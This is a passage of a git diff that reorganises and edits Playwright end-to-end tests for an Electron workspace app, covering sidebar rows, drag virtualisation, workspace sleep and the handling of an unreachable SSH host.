'@stablyai/playwright-test' -import { getRepoExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import { getRepoHostIdentityForParts } from '../../../src/shared/repository/repo-host-identity' +import { getRepoExecutionHostId } from '../../../../src/shared/execution-host/execution-host' +import { getRepoHostIdentityForParts } from '../../../../src/shared/repository/repo-host-identity' // Dismiss every loaded repo’s setup prompt through its action; workspace switches can re-inspect and show it between visibility checks. export async function dismissSetupScriptPrompts(page: Page): Promise { diff --git a/tests/e2e/sidebar-unread-older-paired-host.spec.ts b/tests/e2e/workspaces/sidebar/sidebar-unread-older-paired-host.spec.ts similarity index 93% rename from tests/e2e/sidebar-unread-older-paired-host.spec.ts rename to tests/e2e/workspaces/sidebar/sidebar-unread-older-paired-host.spec.ts index acd17022a6b..c53b8600ac6 100644 --- a/tests/e2e/sidebar-unread-older-paired-host.spec.ts +++ b/tests/e2e/workspaces/sidebar/sidebar-unread-older-paired-host.spec.ts @@ -4,13 +4,14 @@ import { mkdirSync, writeFileSync } from 'node:fs' import path from 'node:path' import { z } from 'zod' import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' +} from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { launchPairedElectronClient } from '../../remote/paired-runtime/client-hosts/paired-electron-client' +import { SIDEBAR_INPUTS_BUILD } from './sidebar-inputs-build' test.skip( !SIDEBAR_INPUTS_BUILD, diff --git a/tests/e2e/workspaces/sidebar/sidebar-workspace-rows.spec.ts b/tests/e2e/workspaces/sidebar/sidebar-workspace-rows.spec.ts new file mode 100644 index 00000000000..0f9f40cc2fe --- /dev/null +++ b/tests/e2e/workspaces/sidebar/sidebar-workspace-rows.spec.ts @@ -0,0 +1,97 @@ +import 'node:fs' + +import 'node:os' + +import 'node:path' + +import type { ElectronApplication, Page } from '@stablyai/playwright-test' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createRestartSession } from '../../desktop/electron-fixtures/orca-restart' +import { seedRelayEraProfile } from '../../remote/managed-ssh/host-lifecycle/orcad-upgrade-profile' +import { mutateStoppedProfileState } from '../../desktop/electron-fixtures/persisted-profile-state' +import { SIDEBAR_INPUTS_BUILD } from './sidebar-inputs-build' +import { + waitForSessionReady, + waitForStartupWorktreeRefresh +} from '../../desktop/renderer-probes/store' +import { DesktopSidebarFactsSchema } from '../../../../src/shared/sidebar-list/feed-facts/desktop-sidebar-facts' +import { + WorkspaceRowsSnapshotSchema, + type WorkspaceRow +} from '../../../../src/shared/sidebar-list/feed-facts/workspace-rows' + +test.skip( + !SIDEBAR_INPUTS_BUILD, + 'main publishes sidebar inputs only in an ORCA_SIDEBAR_INPUTS=main build' +) + +async function readMainRows(page: Page): Promise> { + const response = await page.evaluate(() => + window.api.runtime.call({ method: 'sidebarInputs.workspaceRows' }) + ) + if (!response.ok) { + throw new Error('sidebarInputs.workspaceRows failed') + } + return WorkspaceRowsSnapshotSchema.parse(response.result).rows +} + +test('a disconnected SSH host keeps its rows, and its state reads not connected', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. +{}, testInfo) => { + test.setTimeout(3 * 60_000) + const session = createRestartSession(testInfo) + let app: ElectronApplication | null = null + try { + const first = await session.launch() + app = first.app + await waitForSessionReady(first.page) + await session.close(app) + app = null + // Nothing listens on port 1, so the host never answers. + const seeded = seedRelayEraProfile( + session.userDataDir, + { label: 'Unreachable', host: '127.0.0.1', port: 1, username: 'nobody' }, + { repoPath: '/srv/rows-repo', folderPath: '/srv/rows-folders' } + ) + const hostId = `ssh:${seeded.targetId}` + // Its rows are the ones it stored: here one pinned workspace. + mutateStoppedProfileState(session.userDataDir, (state) => { + state.worktreeMeta = { + ...(state.worktreeMeta && typeof state.worktreeMeta === 'object' ? state.worktreeMeta : {}), + [`${seeded.repoId}::/srv/rows-repo/feature`]: { + hostId, + instanceId: 'ssh-rows-feature', + displayName: 'Remote feature', + isPinned: true + } + } + }) + const launched = await session.launch() + app = launched.app + const page = launched.page + await waitForSessionReady(page) + await waitForStartupWorktreeRefresh(page) + await expect + .poll(async () => + Object.values(await readMainRows(page)) + .filter((row) => row.hostId === hostId) + .map((row) => [row.kind, row.displayName, row.isPinned]) + .sort() + ) + .toEqual([ + ['folder', 'orcad upgrade folder', false], + ['git', 'Remote feature', true] + ]) + const facts = await page.evaluate(() => + window.api.runtime.call({ method: 'sidebarInputs.desktopFacts' }) + ) + if (!facts.ok) { + throw new Error('sidebarInputs.desktopFacts failed') + } + expect( + DesktopSidebarFactsSchema.parse(facts.result).sshHosts[seeded.targetId]?.status + ).not.toBe('connected') + } finally { + await session.dispose(app ?? undefined) + } +}) diff --git a/tests/e2e/spinner-workspace-fixture.ts b/tests/e2e/workspaces/sidebar/spinner-workspace-fixture.ts similarity index 96% rename from tests/e2e/spinner-workspace-fixture.ts rename to tests/e2e/workspaces/sidebar/spinner-workspace-fixture.ts index db9b4551616..67aa282884c 100644 --- a/tests/e2e/spinner-workspace-fixture.ts +++ b/tests/e2e/workspaces/sidebar/spinner-workspace-fixture.ts @@ -2,8 +2,8 @@ import { expect, type Page } from '@stablyai/playwright-test' import { mkdirSync, mkdtempSync, writeFileSync } from 'node:fs' import path from 'node:path' import { runProcess } from '@orca/process-host' -import { attachRepoAndOpenTerminal } from './helpers/orca-restart' -import { configureRendererScaleFixture } from '../../config/scripts/performance/idle-cpu/idle-cpu-renderer-scale-fixture.mjs' +import { attachRepoAndOpenTerminal } from '../../desktop/electron-fixtures/orca-restart' +import { configureRendererScaleFixture } from '../../../../config/scripts/performance/idle-cpu/idle-cpu-renderer-scale-fixture.mjs' export async function createSpinnerRepository(worktrees: number) { const parent = path.resolve('.bench-fixtures') diff --git a/tests/e2e/workspace-board-lane-virtualization.spec.ts b/tests/e2e/workspaces/sidebar/workspace-board-lane-virtualization.spec.ts similarity index 51% rename from tests/e2e/workspace-board-lane-virtualization.spec.ts rename to tests/e2e/workspaces/sidebar/workspace-board-lane-virtualization.spec.ts index 118293d9efb..f14eea86cd0 100644 --- a/tests/e2e/workspace-board-lane-virtualization.spec.ts +++ b/tests/e2e/workspaces/sidebar/workspace-board-lane-virtualization.spec.ts @@ -1,9 +1,8 @@ -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' const MARQUEE_WORKSPACE_COUNT = 102 -const MANY_LANE_COUNT = 21 -const CARDS_PER_LANE = 100 // Window lane cards instead of mounting all in one blocking commit; retain true lane indices for drop targeting. test.describe('Workspace board lane virtualization', () => { @@ -12,159 +11,6 @@ test.describe('Workspace board lane virtualization', () => { await waitForActiveWorktree(orcaPage) }) - test('bounds mounted lanes and cards while preserving a 21-status workflow', async ({ - orcaPage - }) => { - const statusIds = Array.from( - { length: MANY_LANE_COUNT }, - (_, index) => `state-${String(index + 1).padStart(2, '0')}` - ) - await orcaPage.evaluate( - ({ cardsPerLane, ids }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const repo = state.repos[0] - if (!repo) { - throw new Error('Expected a seeded e2e repo') - } - const now = Date.now() - const synthetic = ids.flatMap((status, statusIndex) => - Array.from({ length: cardsPerLane }, (_, cardIndex) => { - const suffix = `${String(statusIndex + 1).padStart(2, '0')}-${String( - cardIndex + 1 - ).padStart(3, '0')}` - return { - id: `${repo.id}::/virtual-lane-${suffix}`, - instanceId: `virtual-lane-${suffix}`, - repoId: repo.id, - path: `${repo.path}/../virtual-lane-${suffix}`, - displayName: `Virtual lane ${suffix}`, - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 20_000 - statusIndex * cardsPerLane - cardIndex, - manualOrder: 20_000 - statusIndex * cardsPerLane - cardIndex, - lastActivityAt: now - statusIndex * cardsPerLane - cardIndex, - head: '0000000000000000000000000000000000000000', - branch: `virtual-lane-${suffix}`, - isBare: false, - isMainWorktree: false, - workspaceStatus: status - } - }) - ) - - state.setSidebarOpen(true) - state.setShowSleepingWorkspaces(true) - state.setHideDefaultBranchWorkspace(false) - state.setFilterRepoIds([]) - state.setWorkspaceBoardColumnWidth(308) - state.setWorkspaceStatuses( - ids.map((id, index) => ({ - id, - label: `State ${index + 1}` - })) - ) - store.setState({ - sortBy: 'manual', - worktreesByRepo: { ...state.worktreesByRepo, [repo.id]: synthetic } - }) - }, - { cardsPerLane: CARDS_PER_LANE, ids: statusIds } - ) - - await orcaPage.getByRole('button', { name: 'Workspace board' }).click() - - const board = orcaPage.locator('[data-workspace-board-selection-surface]') - const scroller = board.locator('[data-workspace-board-lane-grid]').locator('..') - const lanes = board.locator('[data-workspace-status]') - const cards = board.locator('[data-workspace-board-card-id]') - await expect.poll(() => cards.count(), { timeout: 15_000 }).toBeGreaterThan(3) - - const laneBudget = await scroller.evaluate( - (element) => Math.ceil(element.clientWidth / 320) + 3 - ) - const initialLaneCount = await lanes.count() - expect(initialLaneCount).toBeLessThanOrEqual(laneBudget) - expect(await cards.count()).toBeLessThan(initialLaneCount * 40) - expect(await board.locator('*').count()).toBeLessThan(initialLaneCount * 550 + 200) - await expect(board.locator('[data-workspace-status="state-01"]')).toBeVisible() - expect(await board.locator('[data-workspace-status="state-21"]').count()).toBe(0) - - await scroller.evaluate((element) => { - element.scrollLeft = element.scrollWidth - element.dispatchEvent(new Event('scroll', { bubbles: true })) - }) - - await expect(board.locator('[data-workspace-status="state-21"]')).toBeVisible() - await expect.poll(() => board.locator('[data-workspace-status="state-01"]').count()).toBe(0) - const finalIds = await lanes.evaluateAll((elements) => - elements.map((element) => (element as HTMLElement).dataset.workspaceStatus ?? '') - ) - expect(finalIds).toEqual([...finalIds].sort()) - expect(finalIds).toContain('state-21') - expect(await lanes.count()).toBeLessThanOrEqual(laneBudget) - expect(await cards.count()).toBeLessThan((await lanes.count()) * 40) - expect( - await orcaPage.evaluate(() => - window.__store?.getState().workspaceStatuses.map((status) => status.id) - ) - ).toEqual(statusIds) - - const finalLane = board.locator('[data-workspace-status="state-21"]') - const resizeHandle = finalLane.getByRole('separator', { - name: 'Resize workspace board columns' - }) - await resizeHandle.focus() - await resizeHandle.press('ArrowRight') - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().workspaceBoardColumnWidth)) - .toBe(328) - await expect(resizeHandle).toHaveAttribute('aria-valuenow', '328') - await scroller.evaluate((element) => { - element.scrollLeft = element.scrollWidth - element.dispatchEvent(new Event('scroll', { bubbles: true })) - }) - await expect(finalLane).toBeVisible() - - const sourceCard = board - .locator('[data-workspace-status="state-20"] [data-workspace-board-card-id]') - .first() - const sourceId = await sourceCard.getAttribute('data-workspace-board-worktree-id') - const sourceBox = await sourceCard.boundingBox() - const targetBox = await finalLane - .locator('[data-workspace-board-lane-scroll]') - .first() - .boundingBox() - if (!sourceId || !sourceBox || !targetBox) { - throw new Error('Expected visible source card and final lane drop target') - } - await orcaPage.mouse.move(sourceBox.x + sourceBox.width / 2, sourceBox.y + sourceBox.height / 2) - await orcaPage.mouse.down() - await orcaPage.mouse.move( - targetBox.x + targetBox.width / 2, - targetBox.y + Math.min(80, targetBox.height / 2), - { steps: 8 } - ) - await orcaPage.mouse.up() - await expect - .poll(() => - orcaPage.evaluate( - (worktreeId) => - window.__store?.getState().getKnownWorktreeById(worktreeId)?.workspaceStatus, - sourceId - ) - ) - .toBe('state-21') - }) - test('selects the full lane across a single large marquee scroll jump', async ({ orcaPage }) => { const statusId = 'virtual-marquee' const emptyStatusId = 'virtual-marquee-start' diff --git a/tests/e2e/worktree-parent-reorder.spec.ts b/tests/e2e/workspaces/sidebar/worktree-parent-reorder.spec.ts similarity index 76% rename from tests/e2e/worktree-parent-reorder.spec.ts rename to tests/e2e/workspaces/sidebar/worktree-parent-reorder.spec.ts index 1eddc06de22..191282d9df8 100644 --- a/tests/e2e/worktree-parent-reorder.spec.ts +++ b/tests/e2e/workspaces/sidebar/worktree-parent-reorder.spec.ts @@ -1,11 +1,12 @@ -import { test, expect } from './helpers/orca-app' -import { evaluatePolled } from './helpers/page-evaluate-polled' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { evaluatePolled } from '../../desktop/renderer-probes/page-evaluate-polled' import { addRepoWithWorkspaces, linkWorkspaces, writeWorkspaceMeta -} from './helpers/repo-with-workspaces' -import { waitForSessionReady } from './helpers/store' +} from '../repository-fixtures/repo-with-workspaces' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' test.use({ seedTestRepo: false }) @@ -104,7 +105,35 @@ for (const newCardStyle of [false, true]) { await orcaPage.waitForTimeout(550) await parent.getByRole('button', { name: 'Show 53 child workspaces' }).click() await expect(parent.getByRole('button', { name: 'Hide 53 child workspaces' })).toBeVisible() - await expect(parent.locator('[role="option"]')).toHaveCount(53) - await expect(parent.locator('[role="option"]').first()).toContainText('Child 0') + const firstChild = sidebar.locator( + `[role="option"][data-worktree-id=${JSON.stringify(childIds[0]!)}]` + ) + await expect(firstChild).toBeVisible() + await expect(firstChild).toContainText('Child 0') + await sidebar.evaluate((element) => { + element.scrollTop = 0 + }) + const revealedChildIds = new Set() + await expect + .poll(async () => { + const mountedIds = await sidebar.locator('[role="option"][data-worktree-id]').evaluateAll( + (options, expectedIds) => + options.flatMap((option) => { + const id = option.getAttribute('data-worktree-id') + return id && expectedIds.includes(id) ? [id] : [] + }), + childIds + ) + for (const id of mountedIds) { + revealedChildIds.add(id) + } + if (revealedChildIds.size < 53) { + await sidebar.evaluate((element) => { + element.scrollTop += element.clientHeight / 2 + }) + } + return revealedChildIds.size + }) + .toBe(53) }) } diff --git a/tests/e2e/worktree-row-locators.ts b/tests/e2e/workspaces/sidebar/worktree-row-locators.ts similarity index 100% rename from tests/e2e/worktree-row-locators.ts rename to tests/e2e/workspaces/sidebar/worktree-row-locators.ts diff --git a/tests/e2e/helpers/slept-workspace-probe.ts b/tests/e2e/workspaces/sleep/slept-workspace-probe.ts similarity index 93% rename from tests/e2e/helpers/slept-workspace-probe.ts rename to tests/e2e/workspaces/sleep/slept-workspace-probe.ts index 3a18d90cf42..4778a841ad4 100644 --- a/tests/e2e/helpers/slept-workspace-probe.ts +++ b/tests/e2e/workspaces/sleep/slept-workspace-probe.ts @@ -1,9 +1,10 @@ // Require deliberately slept workspaces to stay cold in both renderer PTYs and host state (#10205). import type { Locator, Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { ensureTerminalVisible } from './store' -import { waitForActivePanePtyId, waitForActiveTerminalManager } from './terminal' -import { dismissSetupScriptPrompts } from './sidebar-setup-prompt' +import { ensureTerminalVisible } from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../../terminal/input/terminal' +import { waitForActiveTerminalManager } from '../../terminal/layout/terminal-pane-operations' +import { dismissSetupScriptPrompts } from '../sidebar/sidebar-setup-prompt' export type WorkspaceSample = { livePtyCount: number diff --git a/tests/e2e/workspace-sleep-in-main.spec.ts b/tests/e2e/workspaces/sleep/workspace-sleep-in-main.spec.ts similarity index 52% rename from tests/e2e/workspace-sleep-in-main.spec.ts rename to tests/e2e/workspaces/sleep/workspace-sleep-in-main.spec.ts index e5d30bbd8d9..5148a1b5e43 100644 --- a/tests/e2e/workspace-sleep-in-main.spec.ts +++ b/tests/e2e/workspaces/sleep/workspace-sleep-in-main.spec.ts @@ -4,20 +4,21 @@ */ import { randomUUID } from 'node:crypto' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getAllWorktreeIds, switchToWorktree, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../../terminal/input/terminal' import { sendToTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' +} from '../../terminal/layout/terminal-pane-operations' type SleepState = { /** Terminals the window still binds; a sleep main ran leaves none. */ @@ -68,8 +69,6 @@ async function liveTerminalIn(page: Page, worktreeId: string): Promise { return ptyId } -const asleep = { windowLivePtys: 0, tabs: 1, hostLiveTerminals: 0 } - async function secondWorktree(page: Page): Promise<{ first: string; second: string }> { await waitForSessionReady(page) const first = await waitForActiveWorktree(page) @@ -81,48 +80,6 @@ async function secondWorktree(page: Page): Promise<{ first: string; second: stri } test.describe('Workspace sleep runs in main', () => { - test('Sleep from the sidebar stops the terminals in main and keeps the tab', async ({ - orcaPage - }) => { - const { first, second } = await secondWorktree(orcaPage) - await liveTerminalIn(orcaPage, second) - await switchToWorktree(orcaPage, first) - - const row = orcaPage.locator(`[data-worktree-sidebar] [data-worktree-id="${second}"]`).first() - await row.click({ button: 'right' }) - await orcaPage.getByRole('menuitem', { name: 'Sleep', exact: true }).click() - - await expect.poll(() => readSleepState(orcaPage, second), { timeout: 20_000 }).toEqual(asleep) - await expect(orcaPage.getByText('Failed to sleep workspace')).toHaveCount(0) - - // Opening it again wakes it: the kept tab gets a live terminal. - await switchToWorktree(orcaPage, second) - await ensureTerminalVisible(orcaPage) - await waitForActivePanePtyId(orcaPage) - await expect - .poll(async () => (await readSleepState(orcaPage, second)).hostLiveTerminals, { - timeout: 20_000 - }) - .toBeGreaterThan(0) - }) - - test("a phone's sleep runs in main, and the window follows it", async ({ orcaPage }) => { - const { first, second } = await secondWorktree(orcaPage) - await liveTerminalIn(orcaPage, second) - // The window shows it while the phone sleeps it: the window gives up the selection. - const reply = await orcaPage.evaluate( - (id) => - window.api.runtime.call({ method: 'worktree.sleep', params: { worktree: `id:${id}` } }), - second - ) - expect(reply.ok).toBe(true) - await expect.poll(() => readSleepState(orcaPage, second), { timeout: 20_000 }).toEqual(asleep) - await expect - .poll(() => orcaPage.evaluate(() => window.__store!.getState().activeWorktreeId)) - .not.toBe(second) - await switchToWorktree(orcaPage, first) - }) - test('opening a workspace as soon as its sleep starts ends awake', async ({ orcaPage }) => { const { first, second } = await secondWorktree(orcaPage) await liveTerminalIn(orcaPage, second) @@ -155,41 +112,4 @@ test.describe('Workspace sleep runs in main', () => { }) .toBe(true) }) - - test('a delete during a sleep waits for it and removes the workspace', async ({ orcaPage }) => { - const { first } = await secondWorktree(orcaPage) - // Why its own workspace: the seeded secondary one is shared by every later spec in this run. - const second = await orcaPage.evaluate(async (firstId) => { - const state = window.__store!.getState() - const repoId = state.getKnownWorktreeById(firstId)?.repoId - if (!repoId) { - throw new Error('no repo for the active workspace') - } - const created = await state.createWorktree( - repoId, - `e2e-sleep-delete-${Date.now()}`, - undefined, - 'skip' - ) - await state.fetchWorktrees(repoId) - return created.worktree.id - }, first) - await liveTerminalIn(orcaPage, second) - await switchToWorktree(orcaPage, first) - const removed = await orcaPage.evaluate(async (id) => { - const sleeping = window.api.runtime.call({ - method: 'worktree.sleep', - params: { worktree: `id:${id}` } - }) - const removing = window - .__store!.getState() - .removeWorktree({ id, executionHostId: null }, true) - const [sleep, removal] = await Promise.allSettled([sleeping, removing]) - return { sleep: sleep.status, removal: removal.status } - }, second) - expect(removed).toEqual({ sleep: 'fulfilled', removal: 'fulfilled' }) - await expect - .poll(async () => (await getAllWorktreeIds(orcaPage)).includes(second), { timeout: 30_000 }) - .toBe(false) - }) }) diff --git a/tests/e2e/worktree-card-downward-drag.spec.ts b/tests/e2e/worktree-card-downward-drag.spec.ts deleted file mode 100644 index 54d54c8c9c6..00000000000 --- a/tests/e2e/worktree-card-downward-drag.spec.ts +++ /dev/null @@ -1,222 +0,0 @@ -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { addRepoWithWorkspaces, writeWorkspaceMeta } from './helpers/repo-with-workspaces' -import { waitForSessionReady } from './helpers/store' - -const WORKSPACE_COUNT = 60 - -test.use({ seedTestRepo: false }) - -type PreviewOffsetSample = { - worktreeId: string - targetOffset: number - renderedOffset: number -} - -async function seedVirtualizedManualWorktrees( - page: Page, - testInfo: TestInfo -): Promise<{ sourceId: string; nextId: string; ids: string[] }> { - const repo = await addRepoWithWorkspaces(page, testInfo, WORKSPACE_COUNT) - await writeWorkspaceMeta(page, [ - { worktreeId: repo.mainId, updates: { manualOrder: -1_000, sortOrder: -1_000 } }, - ...repo.ids.map((worktreeId, index) => { - const suffix = String(index).padStart(2, '0') - return { - worktreeId, - updates: { - displayName: `Downward drag ${suffix}`, - sortOrder: 100_000 - index, - manualOrder: 100_000 - index - } - } - }) - ]) - await page.evaluate(() => { - window.__store!.setState({ - groupBy: 'none', - sortBy: 'manual', - showActiveOnly: false, - showSleepingWorkspaces: true, - hideDefaultBranchWorkspace: false, - filterRepoIds: [], - sidebarOpen: true - }) - }) - return { sourceId: repo.ids[0]!, nextId: repo.ids[1]!, ids: repo.ids } -} - -async function sampleMountedPreviewOffsets( - page: Page, - sourceId: string -): Promise { - return page.evaluate(async (draggedId) => { - const scroller = document.querySelector('[data-worktree-sidebar]') - if (!scroller) { - throw new Error('Worktree sidebar is not available') - } - const samples: PreviewOffsetSample[][] = [] - for (let frame = 0; frame < 20; frame++) { - await new Promise((resolve) => requestAnimationFrame(() => resolve())) - if (document.querySelector(`[data-worktree-drag-id=${JSON.stringify(draggedId)}]`)) { - continue - } - const frameSamples = [ - ...document.querySelectorAll('[data-worktree-virtual-row]') - ].flatMap((row) => { - const rowRect = row.getBoundingClientRect() - const scrollerRect = scroller.getBoundingClientRect() - if (rowRect.bottom <= scrollerRect.top || rowRect.top >= scrollerRect.bottom) { - return [] - } - const worktree = row.querySelector('[data-worktree-drag-id]') - const worktreeId = worktree?.getAttribute('data-worktree-drag-id') - const rowStart = Number(row.dataset.worktreeVirtualRowStart) - const matches = [...row.style.transform.matchAll(/translateY\((-?[\d.]+)px\)/g)] - const targetOffset = Number(matches[1]?.[1] ?? 0) - const renderedTop = new DOMMatrixReadOnly(getComputedStyle(row).transform).m42 - const renderedOffset = renderedTop - rowStart - return worktreeId && - Number.isFinite(rowStart) && - Number.isFinite(targetOffset) && - Number.isFinite(renderedOffset) - ? [{ worktreeId, targetOffset, renderedOffset }] - : [] - }) - if (frameSamples.length > 0) { - samples.push(frameSamples) - } - } - return samples - }, sourceId) -} - -test('dragging a virtualized worktree downward keeps rows stable', async ({ - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - await orcaPage.setViewportSize({ width: 1_000, height: 620 }) - const { sourceId, nextId, ids } = await seedVirtualizedManualWorktrees(orcaPage, testInfo) - const scroller = orcaPage.locator('[data-worktree-sidebar]') - const source = orcaPage.locator( - `[data-worktree-sidebar] [data-worktree-id=${JSON.stringify(sourceId)}]` - ) - await scroller.evaluate((element) => { - element.scrollTop = 0 - element.dispatchEvent(new Event('scroll', { bubbles: true })) - }) - await expect(source).toBeVisible() - - const sourceBox = await source.evaluate((element) => { - const rect = element.getBoundingClientRect() - return { x: rect.left, y: rect.top, width: rect.width, height: rect.height } - }) - const nextSource = orcaPage.locator( - `[data-worktree-sidebar] [data-worktree-id=${JSON.stringify(nextId)}]` - ) - const sourceStride = await nextSource.evaluate( - (element, sourceTop) => element.getBoundingClientRect().top - sourceTop, - sourceBox.y - ) - expect(Number.isFinite(sourceStride)).toBe(true) - expect(sourceStride).toBeGreaterThan(1) - const scrollerBox = await scroller.evaluate((element) => { - const rect = element.getBoundingClientRect() - return { x: rect.left, y: rect.top, width: rect.width, height: rect.height } - }) - - await orcaPage.mouse.move(sourceBox.x + sourceBox.width / 2, sourceBox.y + sourceBox.height / 2) - await orcaPage.mouse.down() - try { - const edgeX = scrollerBox.x + 2 - const edgeY = scrollerBox.y + scrollerBox.height - 8 - // Keep the pointer in the edge zone while the renderer advances autoscroll. - for (let step = 0; step < 12; step++) { - await orcaPage.mouse.move(edgeX, edgeY, { steps: 2 }) - if ((await source.count()) === 0) { - break - } - await orcaPage.waitForTimeout(100) - } - if ((await source.count()) > 0) { - for (let step = 0; step < 8 && (await source.count()) > 0; step++) { - await scroller.evaluate((element) => { - element.scrollTop = Math.min( - element.scrollHeight, - element.scrollTop + element.clientHeight - ) - element.dispatchEvent(new Event('scroll', { bubbles: true })) - }) - await orcaPage.waitForTimeout(100) - } - } - await expect - .poll(() => source.count(), { - timeout: 10_000, - message: 'Downward autoscroll did not virtualize the dragged source row' - }) - .toBe(0) - - const samples = await sampleMountedPreviewOffsets(orcaPage, sourceId) - expect(samples.length).toBeGreaterThan(0) - const observationsById = new Map() - for (const sample of samples.flat()) { - const distanceFromValidTarget = Math.min( - Math.abs(sample.targetOffset), - Math.abs(sample.targetOffset + sourceStride) - ) - expect(distanceFromValidTarget).toBeLessThanOrEqual(1) - expect(sample.renderedOffset).toBeGreaterThanOrEqual(-sourceStride - 2) - expect(sample.renderedOffset).toBeLessThanOrEqual(2) - const observations = observationsById.get(sample.worktreeId) ?? [] - observations.push(sample) - observationsById.set(sample.worktreeId, observations) - } - - const recurrentRows = [...observationsById.values()].filter( - (observations) => observations.length > 1 - ) - expect(recurrentRows.length).toBeGreaterThan(0) - expect( - recurrentRows.some((observations) => - observations.some((sample) => sample.renderedOffset <= -sourceStride * 0.8) - ) - ).toBe(true) - for (const observations of recurrentRows) { - let renderedReversal = 0 - for (let index = 1; index < observations.length; index++) { - renderedReversal += Math.max( - 0, - observations[index]!.renderedOffset - observations[index - 1]!.renderedOffset - ) - } - expect(renderedReversal).toBeLessThanOrEqual(sourceStride) - } - } finally { - await orcaPage.mouse.up() - } - - await expect(orcaPage.locator('[data-worktree-sidebar-drag-preview="true"]')).toHaveCount(0) - await expect(orcaPage.locator('html')).not.toHaveAttribute( - 'data-worktree-sidebar-pointer-dragging' - ) - await scroller.evaluate((element) => { - element.scrollTop = 0 - element.dispatchEvent(new Event('scroll', { bubbles: true })) - }) - await expect - .poll( - () => - scroller - .locator('[role="option"]') - .evaluateAll( - (options, ids) => - options - .map((option) => option.getAttribute('data-worktree-id')) - .find((worktreeId) => worktreeId !== null && ids.includes(worktreeId)) ?? null, - ids - ), - { message: 'The downward drop did not move the source away from the first slot' } - ) - .toBe(nextId) -}) diff --git a/tests/e2e/worktree-delete-shortcut.spec.ts b/tests/e2e/worktree-delete-shortcut.spec.ts deleted file mode 100644 index e30f6496396..00000000000 --- a/tests/e2e/worktree-delete-shortcut.spec.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { getAllWorktreeIds, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { pressShortcut } from './helpers/shortcuts' -import { worktreeRow } from './worktree-row-locators' - -async function createIsolatedWorktree( - page: Parameters[0] -): Promise { - const name = `e2e-delete-shortcut-${Date.now()}` - return page.evaluate(async (worktreeName) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('No active worktree to derive repo from') - } - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((candidate) => candidate.id === state.activeWorktreeId) - if (!worktree) { - throw new Error('Active worktree was not found') - } - - const result = await state.createWorktree(worktree.repoId, worktreeName) - await state.fetchWorktrees(worktree.repoId) - return result.worktree.id - }, name) -} - -test.describe('Worktree Delete Shortcut', () => { - let createdWorktreeId: string | null = null - - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test.afterEach(async ({ orcaPage }) => { - if (!createdWorktreeId) { - return - } - const worktreeId = createdWorktreeId - createdWorktreeId = null - await orcaPage - .evaluate(async (id) => { - const state = window.__store?.getState() - await state?.removeWorktree( - { id, executionHostId: state.getKnownWorktreeById(id)?.hostId ?? null }, - true - ) - }, worktreeId) - .catch(() => undefined) - }) - - test('deletes the active worktree while another row is hovered', async ({ orcaPage }) => { - createdWorktreeId = await createIsolatedWorktree(orcaPage) - const worktreeId = createdWorktreeId - const row = worktreeRow(orcaPage, worktreeId) - await expect(row).toBeVisible() - - const previousActiveId = await orcaPage.evaluate( - () => window.__store?.getState().activeWorktreeId - ) - await row.click() - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(worktreeId) - // A click hands keys to the opened workspace; the shortcut acts only from the focused list. - await pressShortcut(orcaPage, '0', { shift: true }) - await expect(orcaPage.locator('[data-worktree-sidebar]')).toBeFocused() - if (!previousActiveId || previousActiveId === worktreeId) { - throw new Error('Expected a different workspace to hover') - } - await worktreeRow(orcaPage, previousActiveId).hover() - await pressShortcut(orcaPage, 'Backspace', { shift: true }) - - const dialog = orcaPage.getByRole('dialog') - await expect(dialog).toBeVisible() - await dialog.getByRole('button', { name: 'Delete', exact: true }).click() - - await expect - .poll(async () => getAllWorktreeIds(orcaPage), { - timeout: 15_000, - message: 'active worktree was not removed by the delete shortcut' - }) - .not.toContain(worktreeId) - expect(await getAllWorktreeIds(orcaPage)).toContain(previousActiveId) - createdWorktreeId = null - }) -}) diff --git a/tests/e2e/worktree-jump-sleep-focus.spec.ts b/tests/e2e/worktree-jump-sleep-focus.spec.ts deleted file mode 100644 index eacdea6b892..00000000000 --- a/tests/e2e/worktree-jump-sleep-focus.spec.ts +++ /dev/null @@ -1,68 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - 